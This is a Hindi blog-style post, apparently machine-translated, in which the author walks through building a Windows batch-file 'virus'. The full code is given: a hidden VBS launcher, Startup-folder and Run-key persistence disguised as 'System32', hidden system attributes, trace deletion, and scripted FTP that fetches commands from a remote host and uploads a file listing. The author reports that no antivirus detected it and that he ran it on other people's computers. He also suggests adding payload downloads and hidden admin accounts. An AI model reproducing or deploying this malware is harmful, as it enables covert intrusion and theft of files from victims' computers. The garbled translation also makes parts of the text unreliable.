बैच पर वायरस

हर कोई कम से कम एक बार अपनी जानकारी के बिना अन्य लोगों की फ़ाइलों में चढ़ना चाहता था, लेकिन कई लोग विभिन्न जनरेटर डाउनलोड करने के विचार से निरस्त हो जाते हैं, क्योंकि यह ज्ञात नहीं है कि रचनाकारों ने उनमें क्या भरा है, और यहां तक ​​कि एंटीवायरस उन्हें एक धमाके के साथ देखते हैं। एक बार मैं भी कुछ करना चाहता था। सबसे पहले मैंने कुछ सरल और आवश्यक सीखने का फैसला किया और कमांड लाइन से शुरू किया, चीजें जैसे कि बाद में अपरिहार्य हो गईं।

Ftp डाउनलोड में महारत हासिल करने के बाद, मैंने किसी और के कंप्यूटर से फाइल डाउनलोड करने के लिए एक साधारण वायरस बनाने का फैसला किया:
@echo Off

@ftp -s:ftp_com.ini -i ******.host56.com
रेम ने इंटरनेट पर किसी भी टेक्स्ट फ़ाइलों को संपादित करने की क्षमता के लिए 000webhost.com को होस्ट करना चुना।

Ftp_com.ini फ़ाइल वह फ़ाइल है जिसमें उपयोगकर्ता नाम और पासवर्ड पहले संग्रहीत किए जाते हैं, और फिर ftp कमांड।
फिर vbs पर कमांड लाइन को छिपाने के लिए एक फाइल बनाई:

Set oShell = WScript.CreateObject("WScript.Shell")
oShell.Run " ", 0, False

तब (विस्टा कंप्यूटर पर) मैंने इस vbs फाइल को ऑटोलैड में कॉपी किया था। और कम से कम किसी तरह के छुपाने के लिए, मैंने इसे छिपी प्रणाली बना दिया (क्योंकि जहां मैं उनका उपयोग करने जा रहा था, यहां तक ​​कि छिपी हुई फाइलें प्रदर्शित नहीं होती हैं), 2 बैचों को 1 बैच फ़ाइल में जोड़ते हुए (मैंने इसे WinSys.cmd कहा):

copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"

vbsmach.vbs वही vbs स्क्रिप्ट है।
लेकिन फिर, XP पर किसी अन्य कंप्यूटर पर इसका परीक्षण करने के बाद, मुझे एहसास हुआ कि यह काम नहीं किया और विश्वसनीयता के लिए इसे रजिस्ट्री फ़ाइल में डाल दिया। यह इस तरह निकला:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"System32"="\"%%userprofile%%\\AppData\\Roaming\\Microsoft\\Windows\\WinSys.cmd""

और बैच फ़ाइल के शरीर में हम reg फ़ाइल रजिस्ट्री फ़ाइल आयात करते हैं
फिर मैंने अपने कंप्यूटर पर एक बैच फ़ाइल लॉन्च की और महसूस किया कि यह कभी-कभी जमा देता है और देरी करने का फैसला किया है और इसके लिए एक और cmd फ़ाइल बनाने का फैसला किया है - इसमें WinHelp.cmd लिखें

ping -n 10 127.0.0.1
cls
WinSys.cmd

अब हमें इसे कम से कम किसी तरह प्रबंधित करने की क्षमता जोड़ने की जरूरत है। ऐसा करने के लिए, कमांड को डाउनलोड करने और फाइल को भेजने के लिए Ftp_com.ini फाइल में जोड़ें:

ftp
ftp
get ftp_com.ini

get WinHelp.cmd

put tree.txt

bye

मैंने WinSys.cmd फ़ाइल को संशोधित नहीं करने का फैसला किया, हालांकि यह समस्याओं के बिना किया जा सकता है। अब हम सभी फाइलें ftp सर्वर पर अपलोड करते हैं और वायरस तैयार होता है। लेकिन गोपनीयता के लिए, मैंने WinSys.cmd फ़ाइल में कुछ पंक्तियाँ जोड़ीं

copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"

%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd

इसके लगातार काम करने के लिए अंतिम पंक्ति आवश्यक है।
और इसलिए यह तैयार है, लेकिन हमने किसी को इतनी सारी फाइलें नहीं दी हैं, इसलिए हमें यह सब या तो एक exe फाइल या 1 बैट फाइल में डालना होगा, लेकिन मैंने पहला विकल्प चुना, क्योंकि बहुत से इन सभी बल्ले से बहुत डरते हैं, cmd winrar के माध्यम से ऐसा करने से फ़ाइलें, unzipping के बाद vbsmach.vbs फ़ाइल के लॉन्च को पूर्व-पंजीकृत करना। इसका परीक्षण करने के बाद, मुझे एहसास हुआ कि यह बहुत सारे सबूत छोड़ता है, इसलिए मैंने वायरस में बहुत कुछ बदलने का फैसला किया। यहाँ WinSys.cmd में क्या हुआ है:

@ftp -s:ftp_com.ini -i ****.host56.com

cls
reg import regedit.reg
copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"
del /q ftp_com.ini
del /q WinHelp.cmd
del /q vbsmach.vbs
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"
%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd

संग्रह करते समय, मैंने पथ% उपयोगकर्ताप्राप्त% \ डाउनलोड दर्ज किया और WinHelp.cmd फ़ाइल में पंक्ति जोड़ दी
del /q %userprofile%\WinSys.cmd

यहाँ लिखा गया था कि यह वायरस कैसा था:
WinSys.cmd फ़ाइल

@ftp -s:ftp_com.ini -i ****.host56.com

cls
reg import regedit.reg
copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"
del /q ftp_com.ini
del /q WinHelp.cmd
del /q vbsmach.vbs
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"
%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd

WInhelp.cmd फ़ाइल, लेकिन यह न केवल देरी के लिए आवश्यक है, इसमें फ़ाइलों को चलाने के लिए आवश्यक कार्यों को लागू करना सबसे अच्छा है:

del /q %userprofile%\WinSys.cmd
del /q %userprofile%\regedit.reg
ping -n 10 127.0.0.1
cls
WinSys.cmd

रजिस्ट्री फ़ाइल - regedit.reg

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"System32"="\"%%userprofile%%\\AppData\\Roaming\\Microsoft\\Windows\\WinHelp.cmd""

फाइल ftp_com.ini

ftp सर्वर से लॉगिन करें
पासवर्ड
get ftp_com.ini

get WinHelp.cmd

bye

मुझे लगता है कि यह स्पष्ट है कि उसके साथ कैसे काम किया जाए। आर्काइव बनाने के बाद, मैंने virustotal www.virustotal.com/file/da428b5c22d4730370ad2018e70eb5fed3dc2b5c7c9c4c93a739772aa18e1/analysis/1359883653653653653653 पर जांच करने का निर्णय लिया।
और एक भी एंटीवायरस को किसी भी चीज पर शक नहीं हुआ। यह मेरा पहला वायरस है, जिसे मैंने कुछ कंप्यूटरों पर, स्वाभाविक रूप से अलग-अलग एफ़टीपी सर्वरों पर चलाने का फैसला किया, लेकिन थोड़ी देर बाद मैंने इसे हटा दिया, क्योंकि उन पर कुछ भी दिलचस्प नहीं था।
निश्चित रूप से इसे ढूंढना मुश्किल नहीं है, और कार्यक्षमता किसी व्यक्ति को डराने के लिए पर्याप्त है (हालांकि आप उस कंप्यूटर पर बहुत सारी गंदी चीजें डाउनलोड कर सकते हैं, लेकिन यह एक और बातचीत है), लेकिन इसने मुझे मारा कि किसी भी अनुमानी ने इसके बारे में कुछ भी संदिग्ध नहीं पहचाना। यद्यपि आप इसका उपयोग अन्य लोगों की फ़ाइलों को देखने, विभिन्न एक्साई फ़ाइलों को डाउनलोड करने और चलाने के लिए कर सकते हैं, और रजिस्ट्री और अन्य सेटिंग्स को बदल सकते हैं, वास्तव में, यह एक साधारण मैलवेयर के लिए पर्याप्त है, आप एक छिपा हुआ व्यवस्थापक खाता भी बना सकते हैं और टेलनेट के माध्यम से कनेक्ट नहीं कर सकते हैं। हालांकि इन उद्देश्यों के लिए कोई भी इसे आसान बना सकता है।
उसके बाद, मैं एक फ़ायरवॉल बन गया, क्योंकि सभी बेईमानी के खिलाफ एक सबसे अच्छा बचाव, और ब्लॉकर्स से बचाव के लिए एक एंटीवायरस की आवश्यकता होती है, और यह सब।